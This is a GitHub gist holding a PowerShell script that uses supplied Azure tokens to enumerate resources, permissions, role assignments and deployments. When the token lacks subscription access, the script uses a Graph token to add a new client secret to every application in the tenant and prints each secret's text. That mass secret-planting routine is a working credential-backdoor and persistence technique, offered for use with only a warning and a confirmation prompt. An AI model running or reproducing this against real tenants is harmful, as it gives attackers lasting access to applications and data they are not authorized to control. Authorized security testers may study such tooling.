Created
March 18, 2025 19:30
-
-
Save erev0s/d63d71afab77514ffd76bd335ab5c5ff to your computer and use it in GitHub Desktop.
Enumerates Azure resources and, if no subscription access is available, attempts to add a client secret to every application.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
.SYNOPSIS | |
Enumerates Azure resources and, if no subscription access is available, attempts to add a client secret to every application. | |
.DESCRIPTION | |
This script accepts an Azure Management API token and an optional Graph API token. | |
It first attempts to retrieve a subscription ID. | |
- If found, it enumerates Azure resources and their permissions. | |
- If not found, it uses the Graph token to enumerate all applications (via the /applications endpoint) | |
and then attempts to add a client secret to each one. | |
**WARNING:** Running this against a production tenant may result in adding new credentials to many applications. | |
Use with caution! | |
You will be prompted to confirm before proceeding with secret addition. | |
The output shows only the details for applications where the secret was successfully added. | |
With ‑v (verbose) the full details are printed; otherwise a summary table is shown. | |
.AUTHOR | |
erev0s | |
.VERSION | |
1.1 | |
.LICENSE | |
GPL | |
.PARAMETER accessToken | |
The Azure Management API access token. | |
.PARAMETER graphToken | |
(Optional) The Microsoft Graph API token for enumerating and modifying applications. | |
.PARAMETER r | |
Switch to indicate that role assignments should be printed (when subscription access is available). | |
.PARAMETER v | |
Switch to include additional details in the output. | |
#> | |
[CmdletBinding()] | |
param ( | |
[Parameter(Mandatory = $true)] | |
[string]$accessToken, | |
[Parameter(Mandatory = $false)] | |
[string]$graphToken, | |
[switch]$r, | |
[switch]$v | |
) | |
# ------------------------------- | |
# Global Lists | |
# ------------------------------- | |
$highImpactActions = @( | |
"Microsoft.Compute/virtualMachines/start/action", | |
"Microsoft.Compute/virtualMachines/deallocate/action", | |
"Microsoft.Compute/virtualMachines/restart/action", | |
"Microsoft.Compute/virtualMachines/runCommand/action", | |
"Microsoft.Compute/virtualMachines/delete/action", | |
"Microsoft.Compute/virtualMachines/extensions/write", | |
"Microsoft.Compute/virtualMachines/extensions/read", | |
"Microsoft.Network/networkInterfaces/*", | |
"Microsoft.Network/publicIPAddresses/*", | |
"Microsoft.Network/virtualNetworks/*", | |
"Microsoft.Authorization/*", | |
"Microsoft.Resources/subscriptions/resourceGroups/read", | |
"Microsoft.Storage/storageAccounts/*", | |
"Microsoft.Security/*" | |
) | |
$expectedHighPrivilegeRoles = @( | |
"Owner", | |
"Contributor", | |
"User Access Administrator", | |
"Key Vault Administrator" | |
) | |
# ------------------------------- | |
# Function: Get-SubscriptionId | |
# ------------------------------- | |
function Get-SubscriptionId { | |
param ( | |
[string]$accessToken | |
) | |
$uri = "https://management.azure.com/subscriptions?api-version=2020-01-01" | |
$headers = @{ "Authorization" = "Bearer $accessToken" } | |
try { | |
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers | |
$subscriptionId = $response.value[0].id -replace '/subscriptions/', '' | |
return $subscriptionId | |
} | |
catch { | |
Write-Error "Failed to retrieve subscription ID: $_" | |
return $null | |
} | |
} | |
# ------------------------------- | |
# Function: Get-PrincipalDetails | |
# ------------------------------- | |
function Get-PrincipalDetails { | |
param ( | |
[string]$principalId | |
) | |
try { | |
$user = Get-AzADUser -ObjectId $principalId -ErrorAction Stop | |
return [PSCustomObject]@{ | |
DisplayName = $user.DisplayName | |
SignInName = $user.UserPrincipalName | |
ObjectType = "User" | |
} | |
} | |
catch { | |
try { | |
$group = Get-AzADGroup -ObjectId $principalId -ErrorAction Stop | |
return [PSCustomObject]@{ | |
DisplayName = $group.DisplayName | |
SignInName = "" | |
ObjectType = "Group" | |
} | |
} | |
catch { | |
return [PSCustomObject]@{ | |
DisplayName = $principalId | |
SignInName = "" | |
ObjectType = "Unknown" | |
} | |
} | |
} | |
} | |
# ------------------------------------------------------------ | |
# Function: Get-ResourcePermissions | |
# ------------------------------------------------------------ | |
function Get-ResourcePermissions { | |
param ( | |
[string]$accessToken, | |
[string]$subscriptionId, | |
[object]$resource | |
) | |
if (-not $resource.id) { | |
return [PSCustomObject]@{ | |
ResourceName = $resource.name | |
AllActions = @() | |
HighImpactActions = @() | |
Error = "Resource does not have a valid ID." | |
} | |
} | |
$headers = @{ "Authorization" = "Bearer $accessToken" } | |
if ($resource.type -eq "Microsoft.Compute/virtualMachines/extensions") { | |
$resourceIdParts = $resource.id -split '/' | |
if ($resourceIdParts.Length -ge 10) { | |
$parentVmId = ($resourceIdParts[0..8] -join '/') | |
$uri = "https://management.azure.com$parentVmId/providers/Microsoft.Authorization/permissions?api-version=2015-07-01" | |
} | |
else { | |
return [PSCustomObject]@{ | |
ResourceName = $resource.name | |
AllActions = @() | |
HighImpactActions = @() | |
Error = "Unexpected resource ID format." | |
} | |
} | |
} | |
else { | |
$uri = "https://management.azure.com$($resource.id)/providers/Microsoft.Authorization/permissions?api-version=2015-07-01" | |
} | |
try { | |
$permissions = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers | |
$allActions = @() | |
$highImpactFound = @() | |
foreach ($perm in $permissions.value) { | |
foreach ($action in $perm.actions) { | |
$allActions += $action | |
if ($highImpactActions -contains $action) { | |
$highImpactFound += $action | |
} | |
} | |
} | |
return [PSCustomObject]@{ | |
ResourceName = $resource.name | |
AllActions = $allActions | |
HighImpactActions = $highImpactFound | |
Error = $null | |
} | |
} | |
catch { | |
return [PSCustomObject]@{ | |
ResourceName = $resource.name | |
AllActions = @() | |
HighImpactActions = @() | |
Error = $_.Exception.Message | |
} | |
} | |
} | |
# ------------------------------------------------------------ | |
# Function: Get-RoleDefinition | |
# ------------------------------------------------------------ | |
function Get-RoleDefinition { | |
param ( | |
[string]$accessToken, | |
[string]$roleDefinitionId | |
) | |
$uri = "https://management.azure.com$($roleDefinitionId)?api-version=2015-07-01" | |
$headers = @{ "Authorization" = "Bearer $accessToken" } | |
try { | |
$roleDefinition = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers | |
return $roleDefinition | |
} | |
catch { | |
Write-Warning "Failed to get role definition for ${roleDefinitionId}: $_" | |
return $null | |
} | |
} | |
# ------------------------------------------------------------ | |
# Function: Get-ResourceRoleAssignments | |
# ------------------------------------------------------------ | |
function Get-ResourceRoleAssignments { | |
param ( | |
[string]$accessToken, | |
[object]$resource | |
) | |
if (-not $resource.id) { | |
Write-Warning "Resource '$($resource.name)' does not have a valid ID for role assignments." | |
return $null | |
} | |
$roleAssignmentsUri = "https://management.azure.com$($resource.id)/providers/Microsoft.Authorization/roleAssignments?api-version=2020-04-01-preview" | |
$headers = @{ "Authorization" = "Bearer $accessToken" } | |
$assignmentsOutput = @() | |
try { | |
$roleAssignments = Invoke-RestMethod -Uri $roleAssignmentsUri -Method Get -Headers $headers | |
if ($roleAssignments.value -and $roleAssignments.value.Count -gt 0) { | |
foreach ($assignment in $roleAssignments.value) { | |
$roleDefinitionId = $assignment.properties.roleDefinitionId | |
$roleDefinition = Get-RoleDefinition -accessToken $accessToken -roleDefinitionId $roleDefinitionId | |
$principalId = $assignment.properties.principalId | |
$principalDetails = Get-PrincipalDetails -principalId $principalId | |
if ($roleDefinition) { | |
$roleName = $roleDefinition.properties.roleName | |
$permissions = $roleDefinition.properties.permissions | |
$matchedHighImpact = @() | |
foreach ($perm in $permissions) { | |
foreach ($action in $perm.actions) { | |
if ($highImpactActions -contains $action) { | |
$matchedHighImpact += $action | |
} | |
} | |
} | |
$isExpected = $expectedHighPrivilegeRoles -contains $roleName | |
$assignmentsOutput += [PSCustomObject]@{ | |
Role = $roleName | |
Principal = $principalId | |
DisplayName = $principalDetails.DisplayName | |
SignInName = $principalDetails.SignInName | |
"High Impact" = if ($matchedHighImpact.Count -gt 0) { $matchedHighImpact -join ", " } else { "" } | |
Expected = $isExpected | |
} | |
} | |
else { | |
$assignmentsOutput += [PSCustomObject]@{ | |
Role = "Role Definition Not Found" | |
Principal = $principalId | |
DisplayName = $principalDetails.DisplayName | |
SignInName = $principalDetails.SignInName | |
"High Impact" = "" | |
Expected = $false | |
} | |
} | |
} | |
return $assignmentsOutput | |
} | |
else { | |
return $null | |
} | |
} | |
catch { | |
Write-Warning "Error retrieving role assignments for resource '$($resource.name)': $_" | |
return $null | |
} | |
} | |
# ------------------------------------------------------------ | |
# Function: Print-ResourceResult | |
# ------------------------------------------------------------ | |
function Print-ResourceResult { | |
param ( | |
[object]$resource, | |
[object]$permData | |
) | |
Write-Output "===============================================" | |
Write-Output "Resource: $($resource.name)" | |
Write-Output "Type : $($resource.type)" | |
Write-Output "Location: $($resource.location)" | |
if ($permData.Error) { | |
Write-Warning "Permissions Error: $($permData.Error)" | |
} | |
else { | |
Write-Output "Permissions:" | |
foreach ($action in $permData.AllActions) { | |
$line = " - $action" | |
if ($permData.HighImpactActions -contains $action) { | |
Write-Host $line -ForegroundColor Red | |
} | |
else { | |
Write-Output $line | |
} | |
} | |
} | |
Write-Output "===============================================" | |
} | |
# ------------------------------------------------------------ | |
# Function: Print-RoleAssignments | |
# ------------------------------------------------------------ | |
function Print-RoleAssignments { | |
param ( | |
[array]$assignments, | |
[switch]$VerboseFlag | |
) | |
if ($assignments -and $assignments.Count -gt 0) { | |
if ($VerboseFlag) { | |
Write-Output "Role Assignments (verbose):" | |
$assignments | Format-List | |
} | |
else { | |
Write-Output "Role Assignments (summary):" | |
$assignments | Format-Table "Role", "DisplayName", "SignInName", "High Impact", "Expected" -AutoSize | |
} | |
} | |
else { | |
Write-Output "No role assignments found." | |
} | |
} | |
# ------------------------------- | |
# Function: Get-AllApplications (Graph API) | |
# ------------------------------- | |
function Get-AllApplications { | |
param( | |
[Parameter(Mandatory = $true)] | |
[string]$graphToken | |
) | |
$uri = "https://graph.microsoft.com/v1.0/applications" | |
$headers = @{ | |
"Authorization" = "Bearer $graphToken" | |
"Content-Type" = "application/json" | |
} | |
try { | |
$apps = Invoke-RestMethod -Uri $uri -Method GET -Headers $headers | |
return $apps.value | |
} | |
catch { | |
Write-Warning "Failed to retrieve applications: $_" | |
return $null | |
} | |
} | |
# ------------------------------- | |
# Function: Add-SecretToAllApps (Graph API) | |
# ------------------------------- | |
function Add-SecretToAllApps { | |
param( | |
[Parameter(Mandatory = $true)] | |
[string]$graphToken | |
) | |
$apps = Get-AllApplications -graphToken $graphToken | |
if (-not $apps -or $apps.Count -eq 0) { | |
Write-Output "No applications found to add secrets to." | |
return | |
} | |
$Results = @() | |
foreach ($app in $apps) { | |
$appId = $app.id | |
$displayName = $app.displayName | |
$params = @{ | |
"URI" = "https://graph.microsoft.com/v1.0/applications/$appId/addPassword" | |
"Method" = "POST" | |
"Headers" = @{ | |
"Content-Type" = "application/json" | |
"Authorization" = "Bearer $graphToken" | |
} | |
} | |
$body = @{ | |
"passwordCredential" = @{ | |
"displayName" = "AutoSecret_$(Get-Date -Format yyyyMMddHHmmss)" | |
} | |
} | |
try { | |
$response = Invoke-RestMethod @params -Body ($body | ConvertTo-Json) -UseBasicParsing | |
$obj = [PSCustomObject]@{ | |
"App Name" = $displayName | |
"App ID" = $app.appId | |
"Key ID" = $response.keyId | |
"Secret" = $response.secretText | |
"Status" = "Secret Added" | |
} | |
$Results += $obj | |
if ($v) { | |
Write-Output "${displayName}: Secret added successfully!" | |
} | |
} | |
catch { | |
if ($v) { | |
Write-Output "${displayName}: No permission to add a secret!" | |
} | |
} | |
} | |
$successful = $Results | Where-Object { $_.Status -eq "Secret Added" } | |
if ($successful) { | |
Write-Output "Secret addition results:" | |
$successful | Format-List | |
} | |
else { | |
Write-Output "No secrets were successfully added." | |
} | |
} | |
# ------------------------------- | |
# Function to retrieve deployments in a resource group | |
# ------------------------------- | |
function Get-ResourceGroupDeployments { | |
param ( | |
[string]$accessToken, | |
[string]$subscriptionId, | |
[string]$resourceGroupName | |
) | |
$uri = "https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroupName/providers/Microsoft.Resources/deployments?api-version=2021-04-01" | |
$headers = @{ | |
"Authorization" = "Bearer $accessToken" | |
"Content-Type" = "application/json" | |
} | |
try { | |
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers | |
# Ensure only deployments are returned and not the entire response | |
if ($response -and $response.value) { | |
return $response.value | Where-Object { $_.properties -ne $null } | |
} | |
return @() # Return an empty array if no deployments are found | |
} | |
catch { | |
Write-Warning "Failed to retrieve deployments: $_" | |
return @() | |
} | |
} | |
# ------------------------------- | |
# Main Execution Flow | |
# ------------------------------- | |
$subscriptionId = Get-SubscriptionId -accessToken $accessToken | |
if (-not $subscriptionId) { | |
Write-Warning "Could not obtain subscription ID. The account may not have access to any Azure resources." | |
if (-not $graphToken) { | |
Write-Output "Consider using a Graph token with the -graphToken flag to enumerate and modify applications." | |
exit | |
} | |
Write-Output "WARNING: Running this against a production tenant may modify multiple applications. Use with caution!" | |
$confirmation = Read-Host "Do you want to continue? (Y/N)" | |
if ($confirmation -ne "Y" -and $confirmation -ne "y") { | |
Write-Output "Operation cancelled by user." | |
exit | |
} | |
Write-Output "`nAttempting to add a secret to each application..." | |
Add-SecretToAllApps -graphToken $graphToken | |
exit | |
} | |
Write-Output "Subscription ID: $subscriptionId" | |
# Set common API headers | |
$headers = @{ | |
"Authorization" = "Bearer $accessToken" | |
"Content-Type" = "application/json" | |
} | |
# ------------------------------- | |
# Fetching Azure Resources | |
# ------------------------------- | |
$uri = "https://management.azure.com/subscriptions/$subscriptionId/resources?api-version=2021-04-01" | |
try { | |
$response = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers | |
} | |
catch { | |
Write-Error "Error retrieving resources: $_" | |
exit | |
} | |
foreach ($resource in $response.value) { | |
$permData = Get-ResourcePermissions -accessToken $accessToken -subscriptionId $subscriptionId -resource $resource | |
Print-ResourceResult -resource $resource -permData $permData | |
if ($r) { | |
$roleAssignmentsTable = Get-ResourceRoleAssignments -accessToken $accessToken -resource $resource | |
if ($roleAssignmentsTable) { | |
Write-Output "Role Assignments for Resource: $($resource.name)" | |
Print-RoleAssignments -assignments $roleAssignmentsTable -VerboseFlag:$v | |
} | |
else { | |
Write-Output "No role assignments found for Resource: $($resource.name)" | |
} | |
} | |
} | |
# ------------------------------- | |
# Fetching Resource Groups | |
# ------------------------------- | |
$rgUri = "https://management.azure.com/subscriptions/$subscriptionId/resourcegroups?api-version=2021-04-01" | |
try { | |
$rgResponse = Invoke-RestMethod -Uri $rgUri -Method Get -Headers $headers | |
} | |
catch { | |
Write-Error "Error retrieving resource groups." | |
exit | |
} | |
# ------------------------------- | |
# Fetching Deployments in Each Resource Group | |
# ------------------------------- | |
foreach ($resourceGroup in $rgResponse.value) { | |
$resourceGroupName = $resourceGroup.name | |
# Fetch deployments for this resource group | |
$deployments = Get-ResourceGroupDeployments -accessToken $accessToken -subscriptionId $subscriptionId -resourceGroupName $resourceGroupName | |
if ($deployments) { | |
Write-Output "Deployments for Resource Group: '$resourceGroupName'" | |
$deployments | ForEach-Object { Write-Output " - $($_.name) (Status: $($_.properties.provisioningState))" } | |
} | |
else { | |
Write-Output "No deployments found for Resource Group: '$resourceGroupName'" | |
} | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment